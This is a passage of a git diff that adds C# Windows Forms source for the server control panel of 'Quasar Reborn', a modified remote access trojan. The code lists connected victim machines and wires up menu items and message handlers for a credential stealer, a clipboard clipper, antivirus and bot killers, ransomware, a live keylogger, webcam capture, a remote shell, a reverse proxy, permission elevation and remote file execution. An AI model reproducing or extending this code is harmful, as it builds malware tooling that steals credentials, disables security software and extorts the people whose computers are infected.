this.tabSettings.UseVisualStyleBackColor = true; + // + // tabAutoTasks + // + this.tabAutoTasks.Location = new System.Drawing.Point(4, 28); + this.tabAutoTasks.Margin = new System.Windows.Forms.Padding(4); + this.tabAutoTasks.Name = "tabAutoTasks"; + this.tabAutoTasks.Padding = new System.Windows.Forms.Padding(4); + this.tabAutoTasks.Size = new System.Drawing.Size(1262, 515); + this.tabAutoTasks.TabIndex = 3; + this.tabAutoTasks.Text = "Auto Tasks"; + this.tabAutoTasks.UseVisualStyleBackColor = true; + // + // tabStatistics + // + this.tabStatistics.Location = new System.Drawing.Point(4, 28); + this.tabStatistics.Margin = new System.Windows.Forms.Padding(4); + this.tabStatistics.Name = "tabStatistics"; + this.tabStatistics.Padding = new System.Windows.Forms.Padding(4); + this.tabStatistics.Size = new System.Drawing.Size(1262, 515); + this.tabStatistics.TabIndex = 4; + this.tabStatistics.Text = "Statistics"; + this.tabStatistics.UseVisualStyleBackColor = true; + // + // tabAbout + // + this.tabAbout.Location = new System.Drawing.Point(4, 28); + this.tabAbout.Margin = new System.Windows.Forms.Padding(4); + this.tabAbout.Name = "tabAbout"; + this.tabAbout.Padding = new System.Windows.Forms.Padding(4); + this.tabAbout.Size = new System.Drawing.Size(1262, 515); + this.tabAbout.TabIndex = 5; + this.tabAbout.Text = "About"; + this.tabAbout.UseVisualStyleBackColor = true; + // + // notifyIcon + // + this.notifyIcon.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon.Icon"))); + this.notifyIcon.Text = "Quasar"; + this.notifyIcon.Visible = true; + this.notifyIcon.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.notifyIcon_MouseDoubleClick); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 1); + this.tableLayoutPanel.Controls.Add(this.mainTabControl, 0, 0); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.GrowStyle = System.Windows.Forms.TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 2; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1278, 583); + this.tableLayoutPanel.TabIndex = 6; + // + // statusStrip + // + this.statusStrip.BackColor = System.Drawing.SystemColors.Control; + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.listenToolStripStatusLabel, + this.trafficToolStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 555); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1278, 28); + this.statusStrip.TabIndex = 3; + this.statusStrip.Text = "statusStrip1"; + // + // listenToolStripStatusLabel + // + this.listenToolStripStatusLabel.ForeColor = System.Drawing.Color.White; + this.listenToolStripStatusLabel.Name = "listenToolStripStatusLabel"; + this.listenToolStripStatusLabel.Size = new System.Drawing.Size(107, 22); + this.listenToolStripStatusLabel.Text = "Listening: False"; + // + // trafficToolStripStatusLabel + // + this.trafficToolStripStatusLabel.ForeColor = System.Drawing.Color.White; + this.trafficToolStripStatusLabel.Name = "trafficToolStripStatusLabel"; + this.trafficToolStripStatusLabel.Size = new System.Drawing.Size(1152, 22); + this.trafficToolStripStatusLabel.Spring = true; + this.trafficToolStripStatusLabel.Text = "Traffic: ↓ 0 B | ↑ 0 B"; + this.trafficToolStripStatusLabel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // FrmMain + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1278, 583); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(846, 507); + this.Name = "FrmMain"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Quasar Reborn - Connected: 0"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmMain_FormClosing); + this.Load += new System.EventHandler(this.FrmMain_Load); + this.mainTabControl.ResumeLayout(false); + this.tabClients.ResumeLayout(false); + this.contextMenuStrip.ResumeLayout(false); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hIP; + private System.Windows.Forms.ColumnHeader hVersion; + private System.Windows.Forms.ColumnHeader hCountry; + private System.Windows.Forms.ColumnHeader hOS; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem connectionToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem reconnectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem disconnectToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hTag; + private System.Windows.Forms.ImageList imgFlags; + private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem surveillanceToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem taskManagerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem fileManagerToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hAccountType; + private System.Windows.Forms.ToolStripMenuItem systemInformationToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hUserStatus; + private System.Windows.Forms.ToolStripMenuItem intelixStealerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem clipperToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem survivalToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem avKillerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem botKillerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem ransomwareToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem systemOptionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator ctxtLine; + private System.Windows.Forms.ToolStripMenuItem actionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem standbyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startupManagerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem keyloggerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem reverseProxyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem registryEditorToolStripMenuItem; + private AeroListView lstClients; + private System.Windows.Forms.NotifyIcon notifyIcon; + private System.Windows.Forms.ColumnHeader hUserPC; + private System.Windows.Forms.ColumnHeader hActiveWindow; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem selectAllToolStripMenuItem; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.TabControl mainTabControl; + private System.Windows.Forms.TabPage tabClients; + private System.Windows.Forms.TabPage tabBuilder; + private System.Windows.Forms.TabPage tabSettings; + private System.Windows.Forms.TabPage tabAutoTasks; + private System.Windows.Forms.TabPage tabStatistics; + private System.Windows.Forms.TabPage tabAbout; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripStatusLabel trafficToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem userSupportToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.TextBox txtSearch; + private System.Windows.Forms.Label lblSearch; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs new file mode 100755 index 0000000..338a41c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs @@ -0,0 +1,1244 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmMain : Form + { + public QuasarServer ListenServer { get; set; } + + private const int STATUS_ID = 4; + private const int USERSTATUS_ID = 5; + private const int ACTIVEWINDOW_ID = 9; + + private bool _processingClientConnections; + private readonly ClientStatusHandler _clientStatusHandler; + private readonly IntelixStealerHandler _intelixStealerHandler; + private readonly SurvivalLogHandler _survivalLogHandler; + private readonly LiveKeyloggerHandler _liveKeyloggerHandler; + private readonly BotKillerHandler _botKillerHandler; + private readonly RansomwareHandler _ransomwareHandler; + private readonly SystemOptionHandler _systemOptionHandler; + private Controls.StatisticsPanel statisticsPanel; + private readonly Queue> _clientConnections = new Queue>(); + private readonly object _processingClientConnectionsLock = new object(); + private readonly object _lockClients = new object(); // lock for clients-listview + + // Traffic tracking + private long _totalBytesReceived = 0; + private long _totalBytesSent = 0; + private System.Windows.Forms.Timer _trafficUpdateTimer; + private System.Windows.Forms.Timer _activeWindowTimer; + + public FrmMain() + { + _clientStatusHandler = new ClientStatusHandler(); + _intelixStealerHandler = new IntelixStealerHandler(); + _survivalLogHandler = new SurvivalLogHandler(); + _liveKeyloggerHandler = new LiveKeyloggerHandler(); + _botKillerHandler = new BotKillerHandler(); + _ransomwareHandler = new RansomwareHandler(); + _systemOptionHandler = new SystemOptionHandler(); + + RegisterMessageHandler(); + InitializeComponent(); + + // Configure ListView + lstClients.GridLines = false; + if (lstClients.Columns.Count > 8) + lstClients.Columns[8].Width = 120; + contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + contextMenuStrip.Font = new System.Drawing.Font("Segoe UI", 8.5f); + + // Initialize traffic update timer + _trafficUpdateTimer = new System.Windows.Forms.Timer(); + _trafficUpdateTimer.Interval = 1000; + _trafficUpdateTimer.Tick += TrafficUpdateTimer_Tick; + _trafficUpdateTimer.Start(); + + // Initialize active window update timer (every 5 seconds) + _activeWindowTimer = new System.Windows.Forms.Timer(); + _activeWindowTimer.Interval = 5000; + _activeWindowTimer.Tick += ActiveWindowTimer_Tick; + _activeWindowTimer.Start(); + } + + /// + /// Rebuilds the context menu based on the FlatContextMenu setting. + /// Flat = all items in one list (except Client Management which stays as submenu). + /// Grouped = default submenus (Administration, Monitoring, User Support). + /// + public void RebuildContextMenu() + { + if (this.InvokeRequired) { this.Invoke((MethodInvoker)RebuildContextMenu); return; } + + contextMenuStrip.Items.Clear(); + + if (Settings.FlatContextMenu) + { + // Flat layout: all feature items directly in the root, Client Management stays as submenu + var items = new System.Windows.Forms.ToolStripItem[] + { + // Administration items + systemInformationToolStripMenuItem, + fileManagerToolStripMenuItem, + startupManagerToolStripMenuItem, + taskManagerToolStripMenuItem, + remoteShellToolStripMenuItem, + connectionsToolStripMenuItem, + reverseProxyToolStripMenuItem, + registryEditorToolStripMenuItem, + remoteExecuteToolStripMenuItem, + actionsToolStripMenuItem, + // Monitoring items + remoteDesktopToolStripMenuItem, + webcamToolStripMenuItem, + keyloggerToolStripMenuItem, + intelixStealerToolStripMenuItem, + clipperToolStripMenuItem, + survivalToolStripMenuItem, + avKillerToolStripMenuItem, + botKillerToolStripMenuItem, + ransomwareToolStripMenuItem, + systemOptionsToolStripMenuItem, + // User Support items + showMessageboxToolStripMenuItem, + visitWebsiteToolStripMenuItem, + // Separator + Client Management + Select All + lineToolStripMenuItem, + connectionToolStripMenuItem, + selectAllToolStripMenuItem, + }; + contextMenuStrip.Items.AddRange(items); + } + else + { + // Grouped layout (default) + contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] + { + systemToolStripMenuItem, + surveillanceToolStripMenuItem, + userSupportToolStripMenuItem, + connectionToolStripMenuItem, + lineToolStripMenuItem, + selectAllToolStripMenuItem, + }); + } + } + + /// + /// Registers the client status message handler for client communication. + /// + private void RegisterMessageHandler() + { + MessageHandler.Register(_clientStatusHandler); + MessageHandler.Register(_intelixStealerHandler); + MessageHandler.Register(_survivalLogHandler); + MessageHandler.Register(_liveKeyloggerHandler); + MessageHandler.Register(_botKillerHandler); + MessageHandler.Register(_ransomwareHandler); + MessageHandler.Register(_systemOptionHandler); + _clientStatusHandler.StatusUpdated += SetStatusByClient; + _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient; + } + + /// + /// Unregisters the client status message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_clientStatusHandler); + MessageHandler.Unregister(_intelixStealerHandler); + MessageHandler.Unregister(_survivalLogHandler); + MessageHandler.Unregister(_liveKeyloggerHandler); + MessageHandler.Unregister(_botKillerHandler); + MessageHandler.Unregister(_ransomwareHandler); + MessageHandler.Unregister(_systemOptionHandler); + _clientStatusHandler.StatusUpdated -= SetStatusByClient; + _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient; + } + + public void UpdateWindowTitle() + { + try + { + if (this.InvokeRequired) + { + this.Invoke((MethodInvoker)UpdateWindowTitle); + return; + } + int selected = lstClients.SelectedItems.Count; + int totalConnected = ListenServer?.ConnectedClients.Length ?? 0; + string ratName = Settings.CustomRatName; + this.Text = (selected > 0) + ? string.Format("{0} - Connected: {1} [Selected: {2}]", ratName, totalConnected, selected) + : string.Format("{0} - Connected: {1}", ratName, totalConnected); + } + catch (Exception) + { + } + } + + private void InitializeServer() + { + X509Certificate2 serverCertificate; +#if DEBUG + serverCertificate = new DummyCertificate(); +#else + if (!File.Exists(Settings.CertificatePath)) + { + using (var certificateSelection = new FrmCertificate()) + { + while (certificateSelection.ShowDialog() != DialogResult.OK) + { } + } + } + serverCertificate = new X509Certificate2(Settings.CertificatePath); +#endif + ListenServer = new QuasarServer(serverCertificate); + ListenServer.ServerState += ServerState; + ListenServer.ClientConnected += ClientConnected; + ListenServer.ClientDisconnected += ClientDisconnected; + } + + private void StartConnectionListener() + { + try + { + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + ListenServer.Disconnect(); + } + catch (Exception) + { + ListenServer.Disconnect(); + } + } + + private void AutostartListening() + { + if (Settings.AutoListen) + { + StartConnectionListener(); + } + + if (Settings.EnableNoIPUpdater) + { + NoIpUpdater.Start(); + } + } + + private void FrmMain_Load(object sender, EventArgs e) + { + UpdateWindowTitle(); + if (Settings.DarkMode) + DarkModeManager.ApplyDarkMode(this); + InitializeServer(); + AutostartListening(); + EmbedFormsIntoTabs(); + RebuildContextMenu(); + } + + private void EmbedFormsIntoTabs() + { + // Embed Builder form + var builderForm = new FrmBuilder(); + builderForm.TopLevel = false; + builderForm.FormBorderStyle = FormBorderStyle.None; + builderForm.Dock = DockStyle.Fill; + tabBuilder.Controls.Add(builderForm); + builderForm.Show(); + builderForm.Invalidate(true); + + // Embed Settings form + var settingsForm = new FrmSettings(ListenServer); + settingsForm.TopLevel = false; + settingsForm.FormBorderStyle = FormBorderStyle.None; + settingsForm.Dock = DockStyle.Fill; + tabSettings.Controls.Add(settingsForm); + settingsForm.Show(); + settingsForm.Invalidate(true); + + // Embed AutoTasks form + var autoTasksForm = new FrmAutoTasks(); + autoTasksForm.TopLevel = false; + autoTasksForm.FormBorderStyle = FormBorderStyle.None; + autoTasksForm.Dock = DockStyle.Fill; + tabAutoTasks.Controls.Add(autoTasksForm); + autoTasksForm.Show(); + autoTasksForm.Invalidate(true); + + // Embed Statistics panel + if (statisticsPanel == null) + { + statisticsPanel = new Controls.StatisticsPanel(ListenServer); + } + statisticsPanel.Dock = DockStyle.Fill; + tabStatistics.Controls.Add(statisticsPanel); + + // Embed About form + var aboutForm = new FrmAbout(); + aboutForm.TopLevel = false; + aboutForm.FormBorderStyle = FormBorderStyle.None; + aboutForm.Dock = DockStyle.Fill; + tabAbout.Controls.Add(aboutForm); + aboutForm.Show(); + } + + private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) + { + if (_trafficUpdateTimer != null) + { + _trafficUpdateTimer.Stop(); + _trafficUpdateTimer.Dispose(); + } + if (_activeWindowTimer != null) + { + _activeWindowTimer.Stop(); + _activeWindowTimer.Dispose(); + } + ListenServer.Disconnect(); + UnregisterMessageHandler(); + notifyIcon.Visible = false; + notifyIcon.Dispose(); + } + + private void lstClients_SelectedIndexChanged(object sender, EventArgs e) + { + UpdateWindowTitle(); + } + + private void ServerState(Networking.Server server, bool listening, ushort port) + { + try + { + this.Invoke((MethodInvoker) delegate + { + if (!listening) + lstClients.Items.Clear(); + listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening."; + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + private void TrafficUpdateTimer_Tick(object sender, EventArgs e) + { + if (ListenServer != null) + { + _totalBytesReceived = ListenServer.BytesReceived; + _totalBytesSent = ListenServer.BytesSent; + } + UpdateTrafficLabel(); + } + + private void ActiveWindowTimer_Tick(object sender, EventArgs e) + { + // Request active window from all connected clients + // This runs every 5 seconds (configured in Designer) + try + { + var clients = GetConnectedClients(); + foreach (var client in clients) + { + if (client != null && client.Connected) + { + client.Send(new GetActiveWindow()); + } + } + } + catch { } + } + + private void Client_ClientRead(Client client, IMessage message, int messageLength) + { + if (message is GetActiveWindowResponse response) + { + if (client.Value != null) + client.Value.ActiveWindow = response.WindowTitle; + + lstClients.Invoke((MethodInvoker)delegate + { + var item = GetListViewItemByClient(client); + if (item != null && item.SubItems.Count > ACTIVEWINDOW_ID) + item.SubItems[ACTIVEWINDOW_ID].Text = response.WindowTitle ?? ""; + }); + } + } + + private void UpdateTrafficLabel() + { + if (trafficToolStripStatusLabel == null) return; + string text = string.Format("Traffic: ↓ {0} | ↑ {1}", + StringHelper.GetHumanReadableFileSize(_totalBytesReceived), + StringHelper.GetHumanReadableFileSize(_totalBytesSent)); + if (this.InvokeRequired) + this.Invoke((MethodInvoker)(() => trafficToolStripStatusLabel.Text = text)); + else + trafficToolStripStatusLabel.Text = text; + } + + private void ClientConnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, true)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + + // Execute Auto Tasks on Initial Connection + ExecuteAutoTasks(client, "Initial"); + + // Request initial active window + try + { + client.Send(new GetActiveWindow()); + } + catch { } + } + + private void ClientDisconnected(Client client) + { + lock (_clientConnections) + { + if (!ListenServer.Listening) return; + _clientConnections.Enqueue(new KeyValuePair(client, false)); + } + + lock (_processingClientConnectionsLock) + { + if (!_processingClientConnections) + { + _processingClientConnections = true; + ThreadPool.QueueUserWorkItem(ProcessClientConnections); + } + } + } + + private void ProcessClientConnections(object state) + { + while (true) + { + KeyValuePair client; + lock (_clientConnections) + { + if (!ListenServer.Listening) + { + _clientConnections.Clear(); + } + + if (_clientConnections.Count == 0) + { + lock (_processingClientConnectionsLock) + { + _processingClientConnections = false; + } + return; + } + + client = _clientConnections.Dequeue(); + } + + if (client.Key != null) + { + switch (client.Value) + { + case true: + AddClientToListview(client.Key); + if (Settings.ShowPopup) + ShowPopup(client.Key); + break; + case false: + RemoveClientFromListview(client.Key); + break; + } + } + } + } + + /// + /// Sets the tooltip text of the listview item of a client. + /// + /// The client on which the change is performed. + /// The new tooltip text. + public void SetToolTipText(Client client, string text) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + var item = GetListViewItemByClient(client); + if (item != null) + item.ToolTipText = text; + }); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Adds a connected client to the Listview. + /// + /// The client to add. + private void AddClientToListview(Client client) + { + if (client == null) return; + + try + { + // Prevent duplicate entries + lstClients.Invoke((MethodInvoker)delegate + { + lock (_lockClients) + { + if (lstClients.Items.Cast().Any(item => item != null && client.Equals(item.Tag))) + return; + + ListViewItem lvi = new ListViewItem(new string[] + { + " " + client.EndPoint.Address, client.Value.Tag, + client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode, + client.Value.OperatingSystem, client.Value.AccountType, "" + }) { Tag = client, ImageIndex = client.Value.ImageIndex }; + + // Ensure no double-subscription + client.ClientRead -= Client_ClientRead; + client.ClientRead += Client_ClientRead; + + lstClients.Items.Add(lvi); + } + }); + + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Removes a connected client from the Listview. + /// + /// The client to remove. + private void RemoveClientFromListview(Client client) + { + if (client == null) return; + + try + { + lstClients.Invoke((MethodInvoker) delegate + { + lock (_lockClients) + { + foreach (ListViewItem lvi in lstClients.Items.Cast() + .Where(lvi => lvi != null && client.Equals(lvi.Tag))) + { + lvi.Remove(); + break; + } + } + }); + UpdateWindowTitle(); + } + catch (InvalidOperationException) + { + } + } + + /// + /// Sets the status of a client. + /// + /// The message handler which raised the event. + /// The client to update the status of. + /// The new status. + private void SetStatusByClient(object sender, Client client, string text) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[STATUS_ID].Text = text; + } + + /// + /// Sets the user status of a client. + /// + /// The message handler which raised the event. + /// The client to update the user status of. + /// The new user status. + private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus) + { + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); + + } + + /// + /// Gets the Listview item which belongs to the client. + /// Must be called from the UI thread. + /// + /// The client to get the Listview item of. + /// Listview item of the client, or null if not found. + private ListViewItem GetListViewItemByClient(Client client) + { + if (client == null) return null; + + // Must be on UI thread — callers from background threads should use BeginInvoke + if (lstClients.InvokeRequired) return null; + + return lstClients.Items.Cast() + .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag)); + } + + /// + /// Gets all selected clients. + /// + /// An array of all selected Clients. + private Client[] GetSelectedClients() + { + List clients = new List(); + + lstClients.Invoke((MethodInvoker)delegate + { + lock (_lockClients) + { + if (lstClients.SelectedItems.Count == 0) return; + foreach (ListViewItem lvi in lstClients.SelectedItems) + { + if (lvi != null && lvi.Tag is Client client) + clients.Add(client); + } + } + }); + + return clients.ToArray(); + } + + /// + /// Gets all connected clients. + /// + /// An array of all connected Clients. + private Client[] GetConnectedClients() + { + return ListenServer.ConnectedClients; + } + + /// + /// Displays a popup with information about a client. + /// + /// The client. + private void ShowPopup(Client c) + { + try + { + this.Invoke((MethodInvoker)delegate + { + if (c == null || c.Value == null) return; + + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), + string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), + c.Value.OperatingSystem), ToolTipIcon.Info); + }); + } + catch (InvalidOperationException) + { + } + } + + #region "ContextMenuStrip" + + #region "Client Management" + + private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoAskElevate()); + } + } + + private void updateToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void reconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientReconnect()); + } + } + + private void disconnectToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientDisconnect()); + } + } + + private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count == 0) return; + if ( + MessageBox.Show( + string.Format( + "Are you sure you want to uninstall the client on {0} computer\\s?", + lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, + MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoClientUninstall()); + } + } + } + + #endregion + + #region "Administration" + + private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c); + frmSi.Show(); + frmSi.Focus(); + } + } + + private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c); + frmFm.Show(); + frmFm.Focus(); + } + } + + private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c); + frmStm.Show(); + frmStm.Focus(); + } + } + + private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c); + frmTm.Show(); + frmTm.Focus(); + } + } + + private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c); + frmRs.Show(); + frmRs.Focus(); + } + } + + private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c); + frmCon.Show(); + frmCon.Focus(); + } + } + + private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmReverseProxy frmRs = new FrmReverseProxy(clients); + frmRs.Show(); + } + } + + private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + foreach (Client c in GetSelectedClients()) + { + FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c); + frmRe.Show(); + frmRe.Focus(); + } + } + } + + private void localFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void webFileToolStripMenuItem_Click(object sender, EventArgs e) + { + Client[] clients = GetSelectedClients(); + if (clients.Length > 0) + { + FrmRemoteExecution frmRe = new FrmRemoteExecution(clients); + frmRe.Show(); + } + } + + private void shutdownToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Shutdown}); + } + } + + private void restartToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Restart}); + } + } + + private void standbyToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + c.Send(new DoShutdownAction {Action = ShutdownAction.Standby}); + } + } + + #endregion + + #region "Monitoring" + + private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Client c in GetSelectedClients()) + { + var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c); + frmRd.Show(); + frmRd.Focus(); + } + } + + private void 